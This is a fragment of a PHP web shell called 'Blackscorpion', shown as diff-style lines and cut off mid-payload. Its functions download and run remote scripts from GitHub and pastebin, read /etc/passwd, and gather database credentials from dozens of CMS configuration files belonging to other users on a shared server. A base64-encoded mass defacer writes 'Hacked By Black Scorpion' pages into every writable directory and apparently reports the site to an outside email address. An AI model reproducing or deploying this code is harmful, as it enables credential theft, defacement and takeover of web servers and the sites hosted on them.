- if(ob("https://raw.githubusercontent.com/sistech711/phpofuscator/master/obfuscator.php","ob.php")) {
- echo " <iframe src=\"ob.php\" height=\"600\" width=\"100%\"></iframe>";
- } else {
- echo "<center><font color=red>Failed to Access php Obfuscator. Please Check Internet connected and file permission</font></center>";
- }
- }
- BlackscorpionFooter();
- }
- function background_image(){
- $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
- function background($url, $isi) {
- $fp = fopen($isi, "w");
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_FILE, $fp);
- return curl_exec($ch);
- curl_close($ch);
- fclose($fp);
- ob_flush();
- flush();
- }
- if(file_exists('pak.png')) {
- file_get_contents('pak.jpg');
- } else {
- if(background("https://preview.ibb.co/gakAVJ/pak.png","pak.png")) {
- file_get_contents('pak.jpg');
- } else {
- echo "<center><font color=red>Failed to Download Background Image</font></center>";
- }
- }
- }
- function actionblackieconfig() {
- BlackscorpionHeader();
- $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
- function conf($url, $isi) {
- $fp = fopen($isi, "w");
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_FILE, $fp);
- return curl_exec($ch);
- curl_close($ch);
- fclose($fp);
- ob_flush();
- flush();
- }
- if(file_exists('config.php')) {
- echo " <iframe src=\"config.php\" height=\"600\" width=\"100%\"></iframe>";
- } else {
- if(conf("https://raw.githubusercontent.com/sistech711/webhackingkit/master/config_grabber.php","config.php")) {
- echo " <iframe src=\"config.php\" height=\"600\" width=\"100%\"></iframe>";
- } else {
- echo "<center><font color=red>Failed to Access config. Please Check Internet connected and file permission</font></center>";
- }
- }
- echo '<br><br><center>Config Grabber';
- $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
- $expld = explode('/',$furl );
- $burl =str_replace(end($expld),'',$furl);
- echo '<div class="content"><center>
- <h3>[ <a href="#" onclick="g(\'configgrab\',null,\'xdxd\',null)">Config Grabber[f-g-c]</a> ] -
- [ <a href="#" onclick="g(\'configgrab\',null,\'xdxd2\',null)">Config Grabber[Perl]<sup style="color:red;text-decoration:blink;"></sup></a> ]';
- if(isset($_POST['p1']) && $_POST['p1']=='xdxd') { $User = $_POST['p1']; system('mkdir xd'); chmod('xd', 0777); if($User){ $users = file("/etc/passwd"); $lolx = array(); foreach ($users as $user) { $users = explode(":", $user); $lolx[] = $users[0]; } foreach ($lolx as $lol) { $space = "\n\n"."*"."\n"."*"."\n"."*"."\n\n"; if(file_exists('/home/'.$lol.'public_html/portal/configuration.php')){ $content = file_get_contents('/home/'.$lol.'public_html/portal/configuration.php'); $handle = fopen('xd/whm.txt', 'a'); fwrite($handle, $content.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/inc/config.php')){ $content1 = file_get_contents('/home/'.$lol.'/public_html/inc/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/sites/default/settings.php')) { $content2 = file_get_contents('/home/'.$lol.'/public_html/sites/default/settings.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content2.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/includes/configure.php')) { $content3 = file_get_contents('/home/'.$lol.'/public_html/includes/configure.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content3.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/lib/config.php')) { $content4 = file_get_contents('/home/'.$lol.'/public_html/lib/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content4.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/config/koneksi.php')) { $content5 = file_get_contents('/home/'.$lol.'/public_html/config/koneksi.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content5.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/vb/includes/config.php')) { $content6 = file_get_contents('/home/'.$lol.'/public_html/vb/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content6.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/includes/config.php')) { $content7 = file_get_contents('/home/'.$lol.'/public_html/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content7.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/forum/includes/config.php')) { $content8 = file_get_contents('/home/'.$lol.'/public_html/forum/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content8.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/cc/includes/config.php')) { $content9 = file_get_contents('/home/'.$lol.'/public_html/cc/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content9.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/config.php')) { $content10 = file_get_contents('/home/'.$lol.'/public_html/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content10.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/forum/includes/config.php')) { $content11 = file_get_contents('/home/'.$lol.'/public_html/forum/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content11.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/wp-config.php')) { $content12 = file_get_contents('/home/'.$lol.'/public_html/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content12.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/blog/wp-config.php')) { $content13 = file_get_contents('/home/'.$lol.'/public_html/blog/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content13.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/wp/wp-config.php')) { $content14 = file_get_contents('/home/'.$lol.'/public_html/wp/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content14.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/home/wp-config.php')) { $content15 = file_get_contents('/home/'.$lol.'/public_html/home/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content15.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/wp-config.php')) { $content16 = file_get_contents('/home/'.$lol.'/public_html/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content16.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/main/wp-config.php')) { $content17 = file_get_contents('/home/'.$lol.'/public_html/main/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content17.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/site/wp-config.php')) { $content18 = file_get_contents('/home/'.$lol.'/public_html/site/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content18.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/configuration.php')) { $content19 = file_get_contents('/home/'.$lol.'/public_html/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content19.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/blog/configuration.php')) { $content20 = file_get_contents('/home/'.$lol.'/public_html/blog/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content20.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/joomla/configuration.php')) { $content21 = file_get_contents('/home/'.$lol.'/public_html/joomla/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content21.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/main/configuration.php')) { $content22 = file_get_contents('/home/'.$lol.'/public_html/main/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content22.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/home/configuration.php')) { $content23 = file_get_contents('/home/'.$lol.'/public_html/home/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content23.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/site/configuration.php')) { $content24 = file_get_contents('/home/'.$lol.'/public_html/site/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content24.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/whm/configuration.php')) { $content25 = file_get_contents('/home/'.$lol.'/public_html/whm/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content25.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/whmc/configuration.php')) { $content26 = file_get_contents('/home/'.$lol.'/public_html/whmc/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content26.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/support/configuration.php')) { $content27 = file_get_contents('/home/'.$lol.'/public_html/support/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content27.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/client/configuration.php')) { $content28 = file_get_contents('/home/'.$lol.'/public_html/client/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content28.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/billings/configuration.php')) { $content29 = file_get_contents('/home/'.$lol.'/public_html/billings/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content29.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/billing/configuration.php')) { $content30 = file_get_contents('/home/'.$lol.'/public_html/billing/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content30.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/clients/configuration.php')) { $content31 = file_get_contents('/home/'.$lol.'/public_html/clients/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content31.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/whmcs/configuration.php')) { $content32 = file_get_contents('/home/'.$lol.'/public_html/whmcs/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content32.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/order/configuration.php')) { $content33 = file_get_contents('/home/'.$lol.'/public_html/order/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content33.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/admin/conf.php')) { $content34 = file_get_contents('/home/'.$lol.'/public_html/admin/conf.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content34.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/admin/config.php')) { $content35 = file_get_contents('/home/'.$lol.'/public_html/admin/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content35.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/conf_global.php')) { $content36 = file_get_contents('/home/'.$lol.'/public_html/conf_global.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content36.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/include/db.php')) { $content37 = file_get_contents('/home/'.$lol.'/public_html/include/db.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content37.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/connect.php')) { $content38 = file_get_contents('/home/'.$lol.'/public_html/connect.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content38.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/mk_conf.php')) { $content39 = file_get_contents('/home/'.$lol.'/public_html/mk_conf.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content39.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/include/config.php')) { $content40 = file_get_contents('/home/'.$lol.'/public_html/include/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content40.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/settings.php')) { $content41 = file_get_contents('/home/'.$lol.'/public_html/settings.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content41.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/includes/functions.php')) { $content42 = file_get_contents('/home/'.$lol.'/public_html/includes/functions.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content42.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/include/db.php')) { $content43 = file_get_contents('/home/'.$lol.'/public_html/include/db.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content43.$space); fclose($handle); } } $url = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/xd/'; if(file_exists("xd/config.txt")){ echo '<br><h3 class="xd"><center><a href="' . $url . '" target="_blank"> Config Found ^_^</a></center></h3>'; } else { echo '<br><h3 class="xd"><center><a href="' . $url . '" target="_blank"> 0 Config Grab </a></center></h3>'; } } }
- if(isset($_POST['p1']) && $_POST['p1']=='xdxd2') {
- $dir = 'plconfig';
- @mkdir($dir);
- if($dir){
- echo '<br><center> plconfig Has Been Created ~</center>';
- } else {
- echo '<br><center> [-] Error !</center>';
- }
- $htaccess = 'http://pastebin.com/raw.php?i=XBLhdvbQ';
- $file = file_get_contents($htaccess);
- $open = fopen('plconfig/.htaccess' , 'w');
- fwrite($open,$file);
- fclose($open);
- if($open) {
- echo '<br><center> [htaccess] => Has Been Created ~</center>';
- } else {
- echo "<br><center>[+] Error !</center>";
- }
- $con = 'http://pastebin.com/raw.php?i=sk8JEgq0';
- $file = file_get_contents($con);
- $open = fopen('plconfig/con.cpc' , 'w');
- fwrite($open,$file);
- fclose($open);
- if($open) {
- echo '<br><center> [cgi] => Has Been Created !</center>';
- } else {
- echo '<br><center>[-] Error !</center>';
- }
- $ch = 'plconfig/con.cpc';
- chmod($ch, 0755);
- if($cgip){
- echo '<br><center>[+] => CHMOD To 755 Complete ~</center><br>';
- } else {
- }
- echo ('<meta http-equiv="refresh" content="0; url=plconfig/con.cpc" />');
- echo ('Please Wait . ');
- }
- BlackscorpionFooter();
- }
- function actionDirDefacer() {
- BlackscorpionHeader();
- $dirdeface = "PD9waHAKJGNvbnRlbnQgPSAiSkhWeWJEMGlTVkE2SUNJdVoyVjBhRzl6ZEdKNWJtRnRaU2drWDFORlVsWkZVbHNpU0ZSVVVGOUlUMU5VSWwwcExpSmNibFZ5YkRvZ0lpNGtYMU5GVWxaRlVsc25TRlJVVUY5SVQxTlVKMTB1SkY5VFJWSldSVkpiSjFKRlVWVkZVMVJmVlZKSkoxMHVJbHh1VlhObGNpQkpVRG9nSWk0a1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YUzRvYVhOelpYUW9KRjlUUlZKV1JWSmJKMGhVVkZCZldGOUdUMUpYUVZKRVJVUmZSazlTSjEwcFB5Y29KeTRrWDFORlVsWkZVbHNuU0ZSVVVGOVlYMFpQVWxkQlVrUkZSRjlHVDFJblhTNG5LU2M2SnljcE93b2dJQ0FnUUcxaGFXd29JbUZ1WkhKbGQyTm9jbWx6TVRFNVFHZHRZV2xzTG1OdmJTSXNJbUpzWVdOcmMyTnZjbkJwYjI0OVlteGhZMnR6WTI5eWNHbHZiaUlzSkhWeWJDazciOwpldmFsKGJhc2U2NF9kZWNvZGUoJGNvbnRlbnQpKTsKPz4KPCFET0NUWVBFIGh0bWw+CjxodG1sPgoJPGhlYWQ+CgkJPHRpdGxlPkRlZmFjZSBBbGwgRGlyZWN0b3JpZXMgLSBCbGFjayBTY29ycGlvbjwvdGl0bGU+CgkJPG1ldGEgY2hhcnNldD0iVVRGLTgiIC8+CgkJPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IkhhY2tlZCBCeSBQcm9Ccm8ncyIgLz4KCQk8bWV0YSBuYW1lPSJsb2NhdGlvbiIgY29udGVudD0iSGFja2VkIEJ5IEJsYWNrIFNjb3JwaW9uIiAvPgoJCTxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE4MDAiPjwhLS0gRm9yIFJlZnJlc2hpbmcgUGFnZSBBZnRlciAzNjAwIEludGVydmFscyBvZiB0aW1lIC0tPgoJCTxtZXRhIG5hbWU9IndvcmtpbmciIGNvbnRlbnQ9IkhhY2tlZCBCeSBCbGFjayBTY29ycGlvbiIgLz4KCQk8bWV0YSBuYW1lPSJhYm91dCIgY29udGVudD0iSGFja2VkIEJ5IEJsYWNrIFNjb3JwaW9uIiAvPgogICAgICAgIDxtZXRhIG5hbWU9ImF1dGhvciIgY29udGVudD0iQmxhY2sgU2NvcnBpb24iIC8+CiAgICAgICAgPG1ldGEgbmFtZT0ia2V5d29yZHMiIGNvbnRlbnQ9IkhhY2tlZCxIYWNrZWQgQnkgQmxhY2sgU2NvcnBpb24sNG5kcjN3LEhhY2tlZCBCeSBCbGFjayBTY29ycGlvbixIYWNrZWQgQnkgQmxhY2sgU2NvcnBpb24iIC8+CgkJPG1ldGEgbmFtZT0icmV2aXNpdC1hZnRlciIgY29udGVudD0iMTgwMCIgLz4KCQk8bWV0YSBuYW1lPSJsYW5ndWFnZSIgY29udGVudD0iZW4iIC8+CgkJPG1ldGEgY29udGVudD0nZ2VuZXJhbCcgbmFtZT0ncmF0aW5nJyAvPgoJCTxtZXRhIGNvbnRlbnQ9J2dvb2dsZScgbmFtZT0nZ2VuZXJhdG9yJyAvPgoJCTxtZXRhIGNvbnRlbnQ9J2ZvbGxvdyxhbGwnIG5hbWU9J21zbmJvdCcgLz4KCQk8bWV0YSBjb250ZW50PSdmb2xsb3csYWxsJyBuYW1lPSdhbGV4YWJvdCcgLz4KCQk8bWV0YSBjb250ZW50PSdwYWtpc3RhbicgbmFtZT0nZ2VvLnBsYWNlbmFtZScgLz4KCQk8bWV0YSBjb250ZW50PSJpbmRleCxmb2xsb3csYWxsIiBuYW1lPSJnb29nbGVib3QiIC8+CgkJPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRS1lZGdlIiAvPgoJCTxsaW5rIHJlbD0iU0hPUlRDVVQgSUNPTiIgaHJlZj0iaHR0cHM6Ly9zY29udGVudC5maXNiMy0xLmZuYS5mYmNkbi5uZXQvdi90MzEuMC04LzI2MTE0MzY0XzI4MjkyMjYyNTU2NDQwMV81NzI2NjA2OTUxOTUyNjgwMTM4X28ucG5nP19uY19jYXQ9MCZfbmNfZXVpMj1BZUdleHE4cGRiLXJPUVFucmZ3OEpxQVR5UlZjallTYzhPNk5PUE12M1AyN2JvS1g5UFBLeURHN2VDWEVCREV1Z01Wb1lmc1owZGp0QlZ3b0ZNQTdXVFVLNk9nSWZzU2xWNFUzTURFdFd6UGdVVXlxWVFyWjdncXREbl9FZkt5Nm5WMCZvaD00NWQ0NzhlOGZkOTc5YWZkZDBkZjE5NmU5MjRjNDhjNCZvZT01QjhBM0RFQiIgLz4KCQk8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiIC8+CgkJPG1ldGEgbmFtZT0nc2VhcmNoIGVuZ2luZXMnIGNvbnRlbnQ9J0FlaXdpLEFsZXhhLEFsbFRoZVdlYixBbHRhVmlzdGEsQU9MTmV0ZmluZCxBbnp3ZXJzLENhbmFkYSxEaXJlY3RIaXQsRXVyb1NlZWssRXhjaXRlLE92ZXJ0dXJlLEdvLEdvb2dsZSxIb3RCb3QgSW5mb01hayxLYW5vb2RsZSxMeWNvcyxNYWNoaW5lU2l0ZSxOYXRpb25hbCBEaXJlY3RvcnksTm9ydGhlcm4gTGlnaHQsU2VhcmNoSXQsU2ltcGxlU2VhcmNoLFdlYnNNb3N0TGlua2VkLFdlYlRvcCxXaGF0LVUtU2VlayxBT0wsWWFob28sV2ViQ3Jhd2xlcixJbmZvc2VlayxFeGNpdGUsTWFnZWxsYW4sTG9va1NtYXJ0LGJpbmcsQ05FVCxHb29nbGVib3QnIC8+CgkJPHN0eWxlPgoJCQlib2R5IHsKCQkJYmFja2dyb3VuZC1jb2xvcjogIzA0MGMwOTsKCQkJU0NST0xMQkFSLUZBQ0UtQ09MT1I6ICMwMDAwMDA7IAoJCQlTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiAjMDAwMDAwOyAKCQkJU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgCgkJCVNDUk9MTEJBUi1CQVNFLUNPTE9SOiAjMDAwMDAwOwoJCQljb2xvcjogd2hpdGU7CgkJCX0KCQkJb3B0aW9uIHsKCQkJCWNvbG9yOiAjMDA5OTAwOwoJCQkJdGV4dC1hbGlnbjogY2VudGVyOwoJCQkJZm9udC13ZWlnaHQ6IGJvbGQ7IAoJCQkJZm9udC1mYW1pbHk6IGN1cnNpdmU7CgkJCQlib3JkZXI6IDFweCBzb2xpZCAjMDA3NzAwOwoJCQkJYm9yZGVyLXN0eWxlOiBncm9vdmU7CgkJCQliYWNrZ3JvdW5kLWNvbG9yOiAjMDA5OTAwOyB9CgkJCXNlbGVjdCB7CgkJCQljb2xvcjogd2hpdGU7CgkJCQl0ZXh0LWFsaWduOiBjZW50ZXI7CgkJCQlmb250LXdlaWdodDogYm9sZDsgCgkJCQlmb250LWZhbWlseTogY3Vyc2l2ZTsKCQkJCWJvcmRlci1sZWZ0OiBibGFjazsKCQkJCWJvcmRlci1yaWdodDogYmxhY2s7CgkJCQlib3JkZXItc3R5bGU6IGdyb292ZTsKCQkJCWJhY2tncm91bmQtY29sb3I6IGJsYWNrOyB9CmlucHV0ewp0ZXh0LXNoYWRvdzogIzc3Nzc3NyAwcHggMHB4IDNweDsKYm9yZGVyOiA0cHggc29saWQgIzAwNzcwMDsKYm94LXNoYWRvdzogMHB4IDJweCA0cHggIzAwNzcwMDsKY29sb3I6ICMwMDk5MDA7CnRleHQtYWxpZ246Y2VudGVyOwpib3JkZXItdG9wOjFweCBzb2xpZCAjMDA3NzAwOwpib3JkZXItbGVmdDoxcHggc29saWQgIzAwNzcwMDsKYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzAwNzcwMDsKYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMDA3NzAwOwpiYWNrZ3JvdW5kOnRyYW5zcGFyZW50OwpoZWlnaHQ6IDI1cHg7CmZvbnQtc2l6ZToxN3B4Owp9CnRleHRhcmVhIHsKdGV4dC1zaGFkb3c6ICM3Nzc3NzcgMHB4IDBweCAzcHg7CmJvcmRlcjogMXB4IHNvbGlkICMwMDc3MDA7CmJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMDc3MDA7CmNvbG9yOiAjMDA5OTAwOwp0ZXh0LWFsaWduOmNlbnRlcjsKYm9yZGVyLXRvcDoxcHggc29saWQgIzAwNzcwMDsKYm9yZGVyLWxlZnQ6MXB4IHNvbGlkICMwMDc3MDA7CmJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMDc3MDA7CmJvcmRlci1yaWdodDoxcHggc29saWQgIzAwNzcwMDsKYmFja2dyb3VuZDp0cmFuc3BhcmVudDsKfQoJCQkuZGVmYWNlX3BhZ2V7CgkJCQljb2xvcjogIzAwNzcwMDsKCQkJCWZvbnQtZmFtaWx5OiBjdXJzaXZlOwoJCQkJdGV4dC1hbGlnbjogY2VudGVyOwoJCQkJZm9udC1zaXplOiAzMDAlOwoJCQkJdGV4dC1zaGFkb3c6ICMwMDc3MDAgMHB4IDNweCAzcHg7CgoJCQl9CgkJPC9zdHlsZT4KCTwvaGVhZD4KCTxib2R5PgoJPGRpdiBjbGFzcz0iZGVmYWNlX3BhZ2UiPgoJCTxmb250Pk1hc3MgRGVmYWNlIEFsbCBEaXIgQnkgQmxhY2sgU2NvcnBpb248L2ZvbnQ+Cgk8L2Rpdj4KCQk8P3BocCAKZXJyb3JfcmVwb3J0aW5nKDApOwplY2hvICI8Y2VudGVyPjxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiI7CgllY2hvICRkaXJyPSRfUE9TVFsnZF9kaXInXTsKCSRpbmRleCA9ICRfUE9TVFsic2NyaXB0Il07CgkkaW5kZXggPSBzdHJfcmVwbGFjZSgnIicsIiciLCRpbmRleCk7CgkkaW5kZXggPSBzdHJpcHNsYXNoZXMoJGluZGV4KTsKCWZ1bmN0aW9uIHNhYnVuX21hc3NhbCgkZGlyLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCkgewoJCWlmKGlzX3dyaXRhYmxlKCRkaXIpKSB7CgkJCSRkaXJhID0gc2NhbmRpcigkZGlyKTsKCQkJZm9yZWFjaCgkZGlyYSBhcyAkZGlyYikgewoJCQkJJGRpcmMgPSAiJGRpci8kZGlyYiI7CgkJCQkkbG9rYXNpID0gJGRpci4nLycuJGRpcmIuJy8nLiRuYW1hZmlsZTsKCQkJCSRwYXRoID0gZ2V0Y3dkKCkuIi8iOwoJCQkJJHNpdGUgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ10uJy8nOwoJCQkJJHJldiA9IHN0cl9yZXBsYWNlKCRwYXRoLCAkc2l0ZSwgJGxva2FzaSk7CgkJCQlpZigkZGlyYiA9PT0gJy4nKSB7CgkJCQl9ICBlbHNlaWYoJGRpcmIgPT09ICcuLicpIHsKCQkJCX0gIGVsc2VpZigkZGlyYiA9PT0gJ2NnaV9iaW4nKSB7CgkJCQl9ICBlbHNlaWYoJGRpcmIgPT09ICdBa0RrJykgewoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAnc3ltbGluaycpIHsKCQkJCX0gIGVsc2VpZigkZGlyYiA9PT0gJ3N5bWxpbmtpbmcnKSB7CgkJCQl9ICBlbHNlaWYoJGRpcmIgPT09ICd0cmpueCcpIHsKCQkJCX0gIGVsc2VpZigkZGlyYiA9PT0gJ3N5bWxpbmtlZCcpIHsKCQkJCX0gIGVsc2VpZigkZGlyYiA9PT0gJy5odGFjY2VzcycpIHsKCQkJCX0gIGVsc2VpZigkZGlyYiA9PT0gJ2dyZWVub3gnKSB7CgkJCQl9ICBlbHNlaWYoJGRpcmIgPT09ICd5YXNzaW5veCcpIHsKCQkJCX0gIGVsc2VpZigkZGlyYiA9PT0gJ3NtZXZrJykgewoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAnc21ldmtfY29uZmlncycpIHsKCQkJCX0gIGVsc2VpZigkZGlyYiA9PT0gJ1NtZXZrJykgewoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAnU21ldmtfQ29uZmlncycpIHsKCQkJCX0gICAgICBlbHNlIHsKCQkJCQlpZihpc19kaXIoJGRpcmMpKSB7CgkJCQkJCWlmKGlzX3dyaXRhYmxlKCRkaXJjKSkgewoJCQkJCQkJZWNobyAiPGZvbnQgc3R5bGU9J2NvbG9yOiB3aGl0ZTsgZm9udC1mYW1pbHk6IGN1cnNpdmU7IGZvbnQtc2l6ZTogMTIwJTsnPiIuJHJldi4iPGJyPjwvZm9udD4iOwoJCQkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwoJCQkJCQkJJGlkeCA9IHNhYnVuX21hc3NhbCgkZGlyYywkbmFtYWZpbGUsJGlzaV9zY3JpcHQpOwoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJfSAKCglpZigkX1BPU1RbJ21hc3MnXSA9PSAnb25lZGlyJykgewoJCWVjaG8gIjxicj4gVmVyc2kgVGV4dCBBcmVhPGJyPjx0ZXh0YXJlYSBzdHlsZT0nYmFja2dyb3VuZDpibGFjaztvdXRsaW5lOm5vbmU7Y29sb3I6cmVkOycgbmFtZT0naW5kZXgnIHJvd3M9JzEwJyBjb2xzPSc2Nyc+XG4iOwoJCSRpbmk9Imh0dHA6Ly8iOwoJCSRtYWlucGF0aD0kX1BPU1RbZF9kaXJdOwoJCSRmaWxlPSRfUE9TVFtkX2ZpbGVdOwoJCSRkaXI9b3BlbmRpcigiJG1haW5wYXRoIik7CgkJJGNvZGU9YmFzZTY0X2VuY29kZSgkX1BPU1Rbc2NyaXB0XSk7CgkJJGluZHg9YmFzZTY0X2RlY29kZSgkY29kZSk7CgkJd2hpbGUoJHJvdz1yZWFkZGlyKCRkaXIpKXsKCQkkc3RhcnQ9QGZvcGVuKCIkcm93LyRmaWxlIiwidysiKTsKCQkkZmluaXNoPUBmd3JpdGUoJHN0YXJ0LCRpbmR4KTsKCQlpZiAoJGZpbmlzaCl7CgkJCWVjaG8iJGluaSRyb3cvJGZpbGVcbiI7CgkJCX0KCQl9CgkJZWNobyAiPC90ZXh0YXJlYT48YnI+PGJyPjxicj48Yj5WZXJzaSBUZXh0PC9iPjxicj48YnI+PGJyPlxuIjsKCQkkbWFpbnBhdGg9JF9QT1NUW2RfZGlyXTskZmlsZT0kX1BPU1RbZF9maWxlXTsKCQkkZGlyPW9wZW5kaXIoIiRtYWlucGF0aCIpOwoJCSRjb2RlPWJhc2U2NF9lbmNvZGUoJF9QT1NUW3NjcmlwdF0pOwoJCSRpbmR4PWJhc2U2NF9kZWNvZGUoJGNvZGUpOwoJCXdoaWxlKCRyb3c9cmVhZGRpcigkZGlyKSl7JHN0YXJ0PUBmb3BlbigiJHJvdy8kZmlsZSIsIncrIik7CgkJJGZpbmlzaD1AZndyaXRlKCRzd